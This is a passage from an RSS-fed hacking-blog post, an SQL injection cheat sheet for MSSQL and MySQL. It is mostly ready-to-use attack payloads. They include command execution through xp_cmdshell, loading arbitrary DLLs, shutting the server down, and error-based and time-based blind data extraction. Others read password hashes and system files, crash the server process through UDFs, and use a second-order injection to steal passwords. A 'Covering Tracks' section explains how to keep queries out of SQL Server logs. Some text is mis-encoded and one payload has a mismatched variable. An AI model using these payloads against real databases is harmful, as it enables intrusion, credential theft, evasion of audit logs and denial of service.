exec xp_regenumvalues HKEY_LOCAL_MACHINE, &#8216;SYSTEMCurrentControlSetServicessnmpparametersvali  dcommunities&#8217;</p>
<p>3. Managing Services (xp_servicecontrol)<br />
4. Medias (xp_availablemedia)<br />
5. ODBC Resources (xp_enumdsn)<br />
6. Login mode (xp_loginconfig)<br />
7. Creating Cab Files (xp_makecab)<br />
8. Domain Enumeration (xp_ntsec_enumdomains)<br />
9. Process Killing (need PID) (xp_terminate_process)<br />
10. Add new procedure (virtually you can execute whatever you want)<br />
sp_addextendedproc ¡®xp_webserver¡¯, ¡®c:tempx.dll¡¯<br />
exec xp_webserver<br />
11. Write text file to a UNC or an internal path (sp_makewebtask)</p>
<p>MSSQL Bulk Notes</p>
<p>SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/</p>
<p>DECLARE @result int; EXEC @result = xp_cmdshell &#8216;dir *.exe&#8217;;IF (@result = 0) SELECT 0 ELSE SELECT 1/0</p>
<p>HOST_NAME()<br />
IS_MEMBER (Transact-SQL)<br />
IS_SRVROLEMEMBER (Transact-SQL)<br />
OPENDATASOURCE (Transact-SQL)</p>
<p>INSERT tbl EXEC master..xp_cmdshell OSQL /Q&#8221;DBCC SHOWCONTIG&#8221;</p>
<p>OPENROWSET (Transact-SQL) &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p>
<p>You can not use sub selects in SQL Server Insert queries.<br />
SQL Injection in LIMIT (M) or ORDER (MSO)</p>
<p>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,&#8217;x'/*,10 ;</p>
<p>If injection is in second limit you can comment it out or use in your union injection<br />
Shutdown SQL Server (S)</p>
<p>When you really pissed off, &#8216;;shutdown &#8211;<br />
Finding Database Structure in SQL Server (S)<br />
Getting User defined Tables</p>
<p>SELECT name FROM sysobjects WHERE xtype = &#8216;U&#8217;<br />
Getting Column Names</p>
<p>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#8216;tablenameforcolumnnames&#8217;)<br />
Moving records (S)</p>
<p>* Modify WHERE and use NOT IN or NOT EXIST,<br />
&#8230; WHERE users NOT IN (&#8216;First User&#8217;, &#8216;Second User&#8217;)<br />
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) &#8212; very good one</p>
<p>* Using Dirty Tricks<br />
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int</p>
<p>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=&#8217;U&#8217; and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = &#8216;U&#8217;) as p where p.x=21</p>
<p>Fast way to extract data from Error Based SQL Injections in SQL Server (S)<br />
&#8216;;BEGIN DECLARE @rt varchar(8000) SET @rd=&#8217;:&#8217; SELECT @rd=@rd+&#8217; &#8216;+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#8216;MEMBERS&#8217;) AND name&gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;&#8211;</p>
<p>Detailed Article : Fast way to extract data from Error Based SQL Injections<br />
Check out references for Advanced SQL Injection by Chris Anley.<br />
Waiting For Blind SQL Injections</p>
<p>First of all use this if it&#8217;s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.<br />
WAIT FOR DELAY (S)</p>
<p>This is just like sleep, wait for spesified time. CPU safe way to make database wait.</p>
<p>WAITFOR DELAY &#8217;0:0:10&#8242;&#8211;</p>
<p>Also you can use fractions like this,</p>
<p>WAITFOR DELAY &#8217;0:0:0.51&#8242;<br />
Real World Samples</p>
<p>* Are we &#8216;sa&#8217; ?<br />
if (select user) = &#8216;sa&#8217; waitfor delay &#8217;0:0:10&#8242;</p>
<p>BENCHMARK (M)</p>
<p>Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!</p>
<p>BENCHMARK(howmanytimes, do this)<br />
Real World Samples</p>
<p>* Are we root ? woot!<br />
IF EXISTS (SELECT * FROM users WHERE username = &#8216;root&#8217;) BENCHMARK(1000000000,MD5(1))</p>
<p>* Check Table exist in MySQL<br />
IF (SELECT * FROM login) BENCHMARK(1000000000,MD5(1))</p>
<p>Covering Tracks<br />
SQL Server -sp_password log bypass (S)</p>
<p>SQL Server don&#8217;t log queries which includes sp_password for security reasons(!). So if you add &#8211;sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it&#8217;s possible)<br />
Clear SQL Injection Tests</p>
<p>These tests are simply good for blind sql injection and silent attacks.</p>
<p>1. product.asp?id=4 (SMO)<br />
1. product.asp?id=5-1<br />
2. product.asp?id=4 OR 1=1</p>
<p>2. product.asp?name=Book<br />
1. product.asp?name=Bo¡¯+¡¯ok<br />
2. product.asp?name=Bo¡¯ || ¡¯ok (OM)<br />
3. product.asp?name=Book¡¯ OR ¡®x¡¯=¡¯x</p>
<p>Some Extra MySQL Notes</p>
<p>* Sub Queries are working only MySQL 4.1+<br />
* Users<br />
o SELECT User,Password FROM mysql.user;<br />
* SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=&#8217;2&#8242;,BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ¡®root¡¯;<br />
* SELECT &#8230; INTO DUMPFILE<br />
o Write query into a new file (can not modify existing files)<br />
* UDF Function<br />
o create function LockWorkStation returns integer soname &#8216;user32&#8242;;<br />
o select LockWorkStation();<br />
o create function ExitProcess returns integer soname &#8216;kernel32&#8242;;<br />
o select exitprocess();<br />
* SELECT USER();<br />
* SELECT password,USER() FROM mysql.user;<br />
* First byte of admin hash<br />
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;<br />
* Read File<br />
o query.php?user=1+union+select+load_file(0&#215;63&#8230;),1  ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1  ,1,1,1,1<br />
* MySQL Load Data inifile<br />
o By default it¡¯s not avaliable !<br />
+ create table foo( line blob );<br />
load data infile &#8216;c:/boot.ini&#8217; into table foo;<br />
select * from foo;<br />
* More Timing in MySQL<br />
* select benchmark( 500000, sha1( &#8216;test&#8217; ) );<br />
* query.php?user=1+union+select+benchmark(500000,sha 1 (0&#215;414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1<br />
* select if( user() like &#8216;root@%&#8217;, benchmark(100000,sha1(&#8216;test&#8217;)), &#8216;false&#8217; );<br />
Enumeration data, Guessed Brute Force<br />
+ select if( (ascii(substring(user(),1,1)) &gt;&gt; 7) &amp; 1, benchmark(100000,sha1(&#8216;test&#8217;)), &#8216;false&#8217; );</p>
<p>Potentially Usefull Functions</p>
<p>MD5()<br />
SHA1()<br />
CHAR()<br />
PASSWORD()<br />
ENCODE()<br />
COMPRESS()<br />
BENCHMARK()<br />
ROW_COUNT()<br />
SCHEMA()<br />
VERSION()<br />
Second Order SQL Injections</p>
<p>Basicly you put an SQL Injection to some place and expect it&#8217;s unfiltered in another action. This is common hidden layer problem.</p>
<p>Name : &#8216; + (SELECT TOP 1 password FROM users ) + &#8216;<br />
Email : <a href="mailto:xx@xx.com">xx@xx.com</a></p>
<p>If application is using name field in an unsafe steored procedure or function, process etc. then it will insert first users password as your name etc.<br />
References</p>
<p>Since these notes collected from several different resources within several years and personal experiences may I missed some references. If you believe I missed yours or someone else then drop me an email, I&#8217;ll update it as soon as possible.</p>
<p>* Lots of Stuff<br />
o Advanced SQL Injection In SQL Applications, Chris Anley<br />
o More Advanced SQL Injection In SQL Applications, Chris Anley<br />
o Blindfolded SQL Injection, Ofer Maor ¨C Amichai Shulman<br />
o Hackproofing MySQL, Chris Anley<br />
o Database Hacker&#8217;s Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay<br />
o Upstairs Team!</p>
<p>* MSSQL Related<br />
o MSSQL Operators &#8211; <a href="http://msdn2.microsoft.com/en-us/library/aa276846%28SQL.80%29.aspx" target="_blank">http://msdn2.microsoft.com/en-us/lib&#8230;6(SQL.80).aspx</a><br />
o Transact-SQL Reference &#8211; <a href="http://msdn2.microsoft.com/en-us/library/aa299742%28SQL.80%29.aspx" target="_blank">http://msdn2.microsoft.com/en-us/lib&#8230;2(SQL.80).aspx</a><br />
o String Functions (Transact-SQL) &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms181984.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms181984.aspx</a><br />
o List of MSSQL Server Collation Names &#8211; <a href="http://msdn2.microsoft.com/en-us/library/ms180175.aspx" target="_blank">http://msdn2.microsoft.com/en-us/library/ms180175.aspx</a><br />
o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth</p>
<p>* MySQL Related<br />
o Comments : <a href="http://dev.mysql.com/doc/" target="_blank">http://dev.mysql.com/doc/</a><br />
o Control Flows &#8211; <a href="http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html" target="_blank">http://dev.mysql.com/doc/refman/5.0/&#8230;functions.html</a><br />
o MySQL Gotchas &#8211; <a href="http://sql-info.de/mysql/gotchas.htm" target="_blank">http://sql-info.de/mysql/gotchas.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

